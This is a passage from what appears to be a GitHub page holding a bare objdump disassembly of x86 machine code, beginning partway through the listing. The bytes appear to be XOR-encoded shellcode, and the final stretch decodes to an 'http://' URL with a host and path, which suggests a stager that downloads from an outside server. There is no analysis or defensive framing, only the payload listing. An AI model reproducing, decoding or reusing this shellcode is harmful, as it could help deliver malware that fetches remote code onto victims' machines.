| 2c8: 19 2a sbb DWORD PTR [edx],ebp | |
| 2ca: c2 5c 4a ret 0x4a5c | |
| 2cd: 1a f7 sbb dh,bh | |
| 2cf: 4e dec esi | |
| 2d0: 90 nop | |
| 2d1: 75 3d jne 0x310 | |
| 2d3: 59 pop ecx | |
| 2d4: e6 4d out 0x4d,al | |
| 2d6: 3d 69 92 65 3d cmp eax,0x3d659269 | |
| 2db: 71 f0 jno 0x2cd | |
| 2dd: bb e7 e6 e6 46 mov ebx,0x46e6e6e7 | |
| 2e2: 47 inc edi | |
| 2e3: 44 inc esp | |
| 2e4: 42 inc edx | |
| 2e5: 98 cwde | |
| 2e6: dd c5 ffree st(5) | |
| 2e8: 19 19 sbb DWORD PTR [ecx],ebx | |
| 2ea: 19 da sbb edx,ebx | |
| 2ec: 9a f5 09 4a 4c 4f 4e call 0x4e4f:0x4c4a09f5 | |
| 2f3: 73 1d jae 0x312 | |
| 2f5: 71 19 jno 0x310 | |
| 2f7: 09 19 or DWORD PTR [ecx],ebx | |
| 2f9: 19 71 1d sbb DWORD PTR [ecx+0x1d],esi | |
| 2fc: 18 19 sbb BYTE PTR [ecx],bl | |
| 2fe: 19 92 f3 92 c0 2a sbb DWORD PTR [edx+0x2ac092f3],edx | |
| 304: e6 4e out 0x4e,al | |
| 306: 90 nop | |
| 307: 75 3d jne 0x346 | |
| 309: 3d 90 45 3d 35 cmp eax,0x353d4590 | |
| 30e: e6 4a out 0x4a,al | |
| 310: 0d 92 e9 4f 71 or eax,0x714fe992 | |
| 315: 1d 18 19 19 e6 sbb eax,0xe6191918 | |
| 31a: 4a dec edx | |
| 31b: 21 e6 and esi,esp | |
| 31d: 6d ins DWORD PTR es:[edi],dx | |
| 31e: 3d 31 4e 4e 4f cmp eax,0x4f4e4e31 | |
| 323: e6 4a out 0x4a,al | |
| 325: 25 71 19 99 19 and eax,0x19991971 | |
| 32a: 19 4e 4f sbb DWORD PTR [esi+0x4f],ecx | |
| 32d: e6 4a out 0x4a,al | |
| 32f: 09 4e 4e or DWORD PTR [esi+0x4e],ecx | |
| 332: e6 6d out 0x6d,al | |
| 334: 3d 29 e6 6d 3d cmp eax,0x3d6de629 | |
| 339: 29 4e e6 sub DWORD PTR [esi-0x1a],ecx | |
| 33c: 4a dec edx | |
| 33d: 55 push ebp | |
| 33e: 9c pushf | |
| 33f: d9 16 fst DWORD PTR [esi] | |
| 341: 9c pushf | |
| 342: a4 movs BYTE PTR es:[edi],BYTE PTR ds:[esi] | |
| 343: 19 19 sbb DWORD PTR [ecx],ebx | |
| 345: 19 4e 71 sbb DWORD PTR [esi+0x71],ecx | |
| 348: 99 cdq | |
| 349: 19 19 sbb DWORD PTR [ecx],ebx | |
| 34b: 19 73 1a sbb DWORD PTR [ebx+0x1a],esi | |
| 34e: 4e dec esi | |
| 34f: 73 18 jae 0x369 | |
| 351: 71 19 jno 0x36c | |
| 353: 19 19 sbb DWORD PTR [ecx],ebx | |
| 355: d9 e6 (bad) | |
| 357: 6d ins DWORD PTR es:[edi],dx | |
| 358: 3d 59 e6 4a 35 cmp eax,0x354ae659 | |
| 35d: 92 xchg edx,eax | |
| 35e: e9 9a e7 e6 16 jmp 0x16e6eafd | |
| 363: 9d popf | |
| 364: 82 (bad) | |
| 365: 19 19 sbb DWORD PTR [ecx],ebx | |
| 367: 19 4e 4f sbb DWORD PTR [esi+0x4f],ecx | |
| 36a: e6 4a out 0x4a,al | |
| 36c: 29 90 5d 3d 09 9c sub DWORD PTR [eax-0x63f6c2a3],edx | |
| 372: d9 16 fst DWORD PTR [esi] | |
| 374: 9d popf | |
| 375: 9f lahf | |
| 376: 19 19 sbb DWORD PTR [ecx],ebx | |
| 378: 19 9c f4 6d 66 99 64 sbb DWORD PTR [esp+esi*8+0x6499666d],ebx | |
| 37f: 19 19 sbb DWORD PTR [ecx],ebx | |
| 381: 6d ins DWORD PTR es:[edi],dx | |
| 382: 60 pusha | |
| 383: 4c dec esp | |
| 384: e6 0a out 0xa,al | |
| 386: 73 1d jae 0x3a5 | |
| 388: 71 19 jno 0x3a3 | |
| 38a: 09 19 or DWORD PTR [ecx],ebx | |
| 38c: 19 e6 sbb esi,esp | |
| 38e: 6d ins DWORD PTR es:[edi],dx | |
| 38f: 3d 01 90 5d 3d cmp eax,0x3d5d9001 | |
| 394: 3d 4e e6 4a 0d cmp eax,0xd4ae64e | |
| 399: 4e dec esi | |
| 39a: 92 xchg edx,eax | |
| 39b: f1 icebp | |
| 39c: 94 xchg esp,eax | |
| 39d: 5d pop ebp | |
| 39e: 3d 0d 49 e6 6d cmp eax,0x6de6490d | |
| 3a3: 3d 01 4c 4f e6 cmp eax,0xe64f4c01 | |
| 3a8: 4a dec edx | |
| 3a9: 3d 92 5d 3d 09 cmp eax,0x93d5d92 | |
| 3ae: 92 xchg edx,eax | |
| 3af: d6 (bad) | |
| 3b0: 9c pushf | |
| 3b1: d9 6d 31 fldcw WORD PTR [ebp+0x31] | |
| 3b4: 92 xchg edx,eax | |
| 3b5: 45 inc ebp | |
| 3b6: 3d 0d 92 ce 22 cmp eax,0x22ce920d | |
| 3bb: d1 6a 03 shr DWORD PTR [edx+0x3],1 | |
| 3be: 22 4d 3d and cl,BYTE PTR [ebp+0x3d] | |
| 3c1: 01 6a 09 add DWORD PTR [edx+0x9],ebp | |
| 3c4: 93 xchg ebx,eax | |
| 3c5: 1d 03 29 1d 30 sbb eax,0x301d2903 | |
| 3ca: 92 xchg edx,eax | |
| 3cb: 5d pop ebp | |
| 3cc: 3d 09 5b 58 22 cmp eax,0x22585b09 | |
| 3d1: d1 6b f3 shr DWORD PTR [ebx-0xd],1 | |
| 3d4: 22 d1 and dl,cl | |
| 3d6: 6b f9 92 imul edi,ecx,0xffffff92 | |
| 3d9: 45 inc ebp | |
| 3da: 3d 05 4e 4e 4e cmp eax,0x4e4e4e05 | |
| 3df: 4f dec edi | |
| 3e0: e6 4a out 0x4a,al | |
| 3e2: 2d 4e 94 5d 3d sub eax,0x3d5d944e | |
| 3e7: 0d 49 e6 6d 3d or eax,0x3d6de649 | |
| 3ec: 01 4c 4f e6 add DWORD PTR [edi+ecx*2-0x1a],ecx | |
| 3f0: 4a dec edx | |
| 3f1: 31 71 19 xor DWORD PTR [ecx+0x19],esi | |
| 3f4: 99 cdq | |
| 3f5: 19 19 sbb DWORD PTR [ecx],ebx | |
| 3f7: 4e dec esi | |
| 3f8: 4c dec esp | |
| 3f9: e6 4a out 0x4a,al | |
| 3fb: 09 2a or DWORD PTR [edx],ebp | |
| 3fd: e6 5e out 0x5e,al | |
| 3ff: 4f dec edi | |
| 400: e6 4a out 0x4a,al | |
| 402: 15 92 de 46 47 adc eax,0x4746de92 | |
| 407: 44 inc esp | |
| 408: 42 inc edx | |
| 409: 9a dd 09 da 9a f5 09 call 0x9f5:0x9ada09dd | |
| 410: 7d b8 jge 0x3ca | |
| 412: 29 19 sub DWORD PTR [ecx],ebx | |
| 414: 19 19 sbb DWORD PTR [ecx],ebx | |
| 416: 4a dec edx | |
| 417: 92 xchg edx,eax | |
| 418: 59 pop ecx | |
| 419: 15 4c 4f 92 69 adc eax,0x69924f4c | |
| 41e: 15 4e 92 4f 01 adc eax,0x14f924e | |
| 423: 90 nop | |
| 424: 55 push ebp | |
| 425: 3d 01 9c cb 16 cmp eax,0x16cb9c01 | |
| 42a: 9d popf | |
| 42b: 94 xchg esp,eax | |
| 42c: 19 19 sbb DWORD PTR [ecx],ebx | |
| 42e: 19 2a sbb DWORD PTR [edx],ebp | |
| 430: f4 hlt | |
| 431: 92 xchg edx,eax | |
| 432: 5b pop ebx | |
| 433: 25 92 67 29 92 and eax,0x92296792 | |
| 438: 45 inc ebp | |
| 439: 09 61 92 or DWORD PTR [ecx-0x6e],esp | |
| 43c: d4 90 aam 0x90 | |
| 43e: 45 inc ebp | |
| 43f: 3d 09 9c c2 6d cmp eax,0x6dc29c09 | |
| 444: 73 d8 jae 0x41e | |
| 446: d0 14 93 rcl BYTE PTR [ebx+edx*4],1 | |
| 449: 1e push ds | |
| 44a: 25 78 16 a7 d9 and eax,0xd9a71678 | |
| 44f: 65 1a 9a d8 f9 9a de sbb bl,BYTE PTR gs:[edx-0x21650628] | |
| 456: 1b 1a sbb ebx,DWORD PTR [edx] | |
| 458: d1 7f 20 sar DWORD PTR [edi+0x20],1 | |
| 45b: 36 6c ss ins BYTE PTR es:[edi],dx | |
| 45d: fe (bad) | |
| 45e: 92 xchg edx,eax | |
| 45f: 5d pop ebp | |
| 460: 0a 39 or bh,BYTE PTR [ecx] | |
| 462: 1a db sbb bl,bl | |
| 464: 9a 65 0a 01 19 92 e4 call 0xe492:0x19010a65 | |
| 46b: 6f outs dx,DWORD PTR ds:[esi] | |
| 46c: 5b pop ebx | |
| 46d: 92 xchg edx,eax | |
| 46e: c4 92 31 1a f3 9a les edx,FWORD PTR [edx-0x650ce5cf] | |
| 474: d9 1d 90 5d 3d 05 fstp DWORD PTR ds:0x53d5d90 | |
| 47a: 93 xchg ebx,eax | |
| 47b: 5c pop esp | |
| 47c: 19 d8 sbb eax,ebx | |
| 47e: d2 14 16 rcl BYTE PTR [esi+edx*1],cl | |
| 481: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi] | |
| 482: d9 1a fstp DWORD PTR [edx] | |
| 484: c1 5c 93 5c 19 rcr DWORD PTR [ebx+edx*4+0x5c],0x19 | |
| 489: 9d popf | |
| 48a: d9 6c e9 90 fldcw WORD PTR [ecx+ebp*8-0x70] | |
| 48e: 45 inc ebp | |
| 48f: 3d 0d 92 5d 3d cmp eax,0x3d5d920d | |
| 494: 0d 92 45 3d 09 or eax,0x93d4592 | |
| 499: 1a d8 sbb bl,al | |
| 49b: 22 5d 3d and bl,BYTE PTR [ebp+0x3d] | |
| 49e: 01 6d 3c add DWORD PTR [ebp+0x3c],ebp | |
| 4a1: 92 xchg edx,eax | |
| 4a2: 5d pop ebp | |
| 4a3: 3d 05 5e 73 19 cmp eax,0x19735e05 | |
| 4a8: 44 inc esp | |
| 4a9: 22 65 0a and ah,BYTE PTR [ebp+0xa] | |
| 4ac: 01 6b a7 add DWORD PTR [ebx-0x59],ebp | |
| 4af: 92 xchg edx,eax | |
| 4b0: 2f das | |
| 4b1: 92 xchg edx,eax | |
| 4b2: 4f dec edi | |
| 4b3: 01 9c cb 16 9c 6c e6 add DWORD PTR [ebx+ecx*8-0x199363ea],ebx | |
| 4ba: e6 e6 out 0xe6,al | |
| 4bc: 2a d9 sub bl,cl | |
| 4be: 46 inc esi | |
| 4bf: 47 inc edi | |
| 4c0: 44 inc esp | |
| 4c1: 42 inc edx | |
| 4c2: 9a dd 09 da 92 5d 0a call 0xa5d:0x92da09dd | |
| 4c9: 3d 94 1d 61 16 cmp eax,0x16611d94 | |
| 4ce: ae scas al,BYTE PTR es:[edi] | |
| 4cf: 15 09 92 5d 0a adc eax,0xa5d9209 | |
| 4d4: 05 94 1d 91 92 add eax,0x92911d94 | |
| 4d9: 1d 09 1a db f2 sbb eax,0xf2db1a09 | |
| 4de: c6 (bad) | |
| 4df: f1 icebp | |
| 4e0: 19 19 sbb DWORD PTR [ecx],ebx | |
| 4e2: 19 19 sbb DWORD PTR [ecx],ebx | |
| 4e4: 41 inc ecx | |
| 4e5: 9a d9 13 da da e6 e6 call 0xe6e6:0xdada13d9 | |
| 4ec: e6 e6 out 0xe6,al | |
| 4ee: 28 22 sub BYTE PTR [edx],ah | |
| 4f0: 6f outs dx,DWORD PTR ds:[esi] | |
| 4f1: 6e outs dx,BYTE PTR ds:[esi] | |
| 4f2: 54 push esp | |
| 4f3: 52 push edx | |
| 4f4: 5a pop edx | |
| 4f5: 6e outs dx,BYTE PTR ds:[esi] | |
| 4f6: 6e outs dx,BYTE PTR ds:[esi] | |
| 4f7: 58 pop eax | |
| 4f8: 22 71 6d and dh,BYTE PTR [ecx+0x6d] | |
| 4fb: 6d ins DWORD PTR es:[edi],dx | |
| 4fc: 69 23 36 36 7d 7f imul esp,DWORD PTR [ebx],0x7f7d3636 | |
| 502: 37 aaa | |
| 503: 70 77 jo 0x57c | |
| 505: 7d 70 jge 0x577 | |
| 507: 78 6a js 0x573 | |
| 509: 6e outs dx,BYTE PTR ds:[esi] | |
| 50a: 7c 7c jl 0x588 | |
| 50c: 6d ins DWORD PTR es:[edi],dx | |
| 50d: 6a 78 push 0x78 | |
| 50f: 77 7d ja 0x58e | |
| 511: 7e 6b jle 0x57e | |
| 513: 76 7a jbe 0x58f | |
| 515: 7c 6b jl 0x582 | |
| 517: 60 pusha | |
| 518: 37 aaa | |
| 519: 7a 76 jp 0x591 | |
| 51b: 74 36 je 0x553 | |
| 51d: 70 77 jo 0x596 | |
| 51f: 7d 7c jge 0x59d | |
| 521: 61 popa | |
| 522: 37 aaa | |
| 523: 69 71 69 26 61 41 74 imul esi,DWORD PTR [ecx+0x69],0x74416126 | |
| 52a: 57 push edi | |
| 52b: 7d 2e jge 0x55b | |
| 52d: 5e pop esi | |
| 52e: 43 inc ebx | |
| 52f: 55 push ebp | |
| 530: 61 popa | |
| 531: 2a 57 5a sub dl,BYTE PTR [edi+0x5a] | |
| 534: 50 push eax | |
| 535: 7a 24 jp 0x55b | |
| 537: 75 2a jne 0x563 | |
| 539: 4a dec edx | |
| 53a: 54 push esp | |
| 53b: 7f 49 jg 0x586 | |
| 53d: 6b 7f 53 61 imul edi,DWORD PTR [edi+0x53],0x61 | |
| 541: 63 5f 5e arpl WORD PTR [edi+0x5e],bx | |
| 544: 54 push esp | |
| 545: 4a dec edx | |
| 546: 4c dec esp | |
| 547: 7b 34 jnp 0x57d | |
| 549: 77 53 ja 0x59e | |
| 54b: 5d pop ebp | |
| 54c: 78 20 js 0x56e | |
| 54e: 5b pop ebx | |
| 54f: 54 push esp | |
| 550: 5c pop esp | |
| 551: 41 inc ecx | |
| 552: 5a pop edx | |
| 553: 4b dec ebx | |
| 554: 48 dec eax | |
| 555: 55 push ebp | |
| 556: 49 dec ecx | |
| 557: 71 2d jno 0x586 | |
| 559: 4a dec edx | |
| 55a: 5e pop esi | |
| 55b: 71 52 jno 0x5af | |
| 55d: 6b 41 5a 53 imul eax,DWORD PTR [ecx+0x5a],0x53 | |
| 561: 34 76 xor al,0x76 | |
| 563: 7f 4a jg 0x5af | |
| 565: 70 71 jo 0x5d8 | |
| 567: 28 2e sub BYTE PTR [esi],ch | |
| 569: 56 push esi | |
| 56a: 50 push eax | |
| 56b: 5f pop edi | |
| 56c: 61 popa | |
| 56d: 63 6a 74 arpl WORD PTR [edx+0x74],bp | |
| 570: 4d dec ebp | |
| 571: 6c ins BYTE PTR es:[edi],dx | |
| 572: 2b 52 4f sub edx,DWORD PTR [edx+0x4f] | |
| 575: 46 inc esi | |
| 576: 56 push esi | |
| 577: 69 68 61 6f 7c 57 29 imul ebp,DWORD PTR [eax+0x61],0x29577c6f | |
| 57e: 4a dec edx | |
| 57f: 43 inc ebx | |
| 580: 5f pop edi | |
| 581: 4a dec edx | |
| 582: 56 push esi | |
| 583: 63 48 7f arpl WORD PTR [eax+0x7f],cx | |
| 586: 43 inc ebx | |
| 587: 49 dec ecx | |
| 588: 4f dec edi | |
| 589: 48 dec eax | |
| 58a: 75 60 jne 0x5ec | |
| 58c: 43 inc ebx | |
| 58d: 58 pop eax | |
| 58e: 7d 5a jge 0x5ea | |
| 590: 71 76 jno 0x608 | |
| 592: 5b pop ebx | |
| 593: 46 inc esi | |
| 594: 56 push esi | |
| 595: 68 72 70 29 6f push 0x6f297072 | |
| 59a: 51 push ecx | |
| 59b: 73 4c jae 0x5e9 | |
| 59d: 77 51 ja 0x5f0 | |
| 59f: 28 7a 74 sub BYTE PTR [edx+0x74],bh | |
| 5a2: 48 dec eax | |
| 5a3: 20 75 78 and BYTE PTR [ebp+0x78],dh | |
| 5a6: 51 push ecx | |
| 5a7: 40 inc eax | |
| 5a8: 7e 71 jle 0x61b | |
| 5aa: 49 dec ecx | |
| 5ab: 2e 43 cs inc ebx | |
| 5ad: 7b 5d jnp 0x60c | |
| 5af: 5c pop esp | |
| 5b0: 2e 72 2c cs jb 0x5df | |
| 5b3: 73 7e jae 0x633 | |
| 5b5: 6c ins BYTE PTR es:[edi],dx | |
| 5b6: 74 61 je 0x619 | |
| 5b8: 2e 50 cs push eax | |
| 5ba: 4d dec ebp | |
| 5bb: 7a 21 jp 0x5de | |
| 5bd: 71 2b jno 0x5ea | |
| 5bf: 61 popa | |
| 5c0: 5c pop esp | |
| 5c1: 52 push edx | |
| 5c2: 5f pop edi | |
| 5c3: 2f das | |
| 5c4: 5d pop ebp | |
| 5c5: 7d 4e jge 0x615 | |
| 5c7: 77 34 ja 0x5fd | |
| 5c9: 54 push esp | |
| 5ca: 4c dec esp | |
| 5cb: 4c dec esp | |
| 5cc: 4f dec edi | |
| 5cd: 54 push esp | |
| 5ce: 4d dec ebp | |
| 5cf: 2d 6e 57 51 75 sub eax,0x7551576e | |
| 5d4: 52 push edx | |
| 5d5: 2b 7c 5b 52 sub edi,DWORD PTR [ebx+ebx*2+0x52] | |
| 5d9: 68 52 69 29 57 push 0x57296952 | |
| 5de: 2f das | |
| 5df: 4b dec ebx | |
| 5e0: 7e 5b jle 0x63d | |
| 5e2: 77 5c ja 0x640 | |
| 5e4: 5b pop ebx | |
| 5e5: 46 inc esi | |
| 5e6: 5a pop edx | |
| 5e7: 7b 53 jnp 0x63c | |
| 5e9: 48 dec eax | |
| 5ea: 75 68 jne 0x654 | |
| 5ec: 6e outs dx,BYTE PTR ds:[esi] | |
| 5ed: 34 7f xor al,0x7f | |
| 5ef: 5c pop esp | |
| 5f0: 5a pop edx | |
| 5f1: 4d dec ebp | |
| 5f2: 2f das | |
| 5f3: 49 dec ecx | |
| 5f4: 41 inc ecx | |
| 5f5: 75 2c jne 0x623 | |
| 5f7: 7e 6f jle 0x668 | |
| 5f9: 2b 69 51 sub ebp,DWORD PTR [ecx+0x51] | |
| 5fc: 77 2d ja 0x62b | |
| 5fe: 76 70 jbe 0x670 | |
| 600: 7c 4e jl 0x650 | |
| 602: 41 inc ecx | |
| 603: 46 inc esi | |
| 604: 49 dec ecx | |
| 605: 5b pop ebx | |
| 606: 20 74 53 21 and BYTE PTR [ebx+edx*2+0x21],dh | |
| 60a: 74 74 je 0x680 | |
| 60c: 58 pop eax | |
| 60d: 3f aas | |
| 60e: 7d 7f jge 0x68f | |
| 610: 6a 7d push 0x7d | |
| 612: 7f 24 jg 0x638 | |
| 614: 28 28 sub BYTE PTR [eax],ch | |
| 616: 2c 28 sub al,0x28 | |
| 618: 2b 19 sub ebx,DWORD PTR [ecx] | |
| 61a: 19 19 sbb DWORD PTR [ecx],ebx | |
| 61c: 00 00 add BYTE PTR [eax],al |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment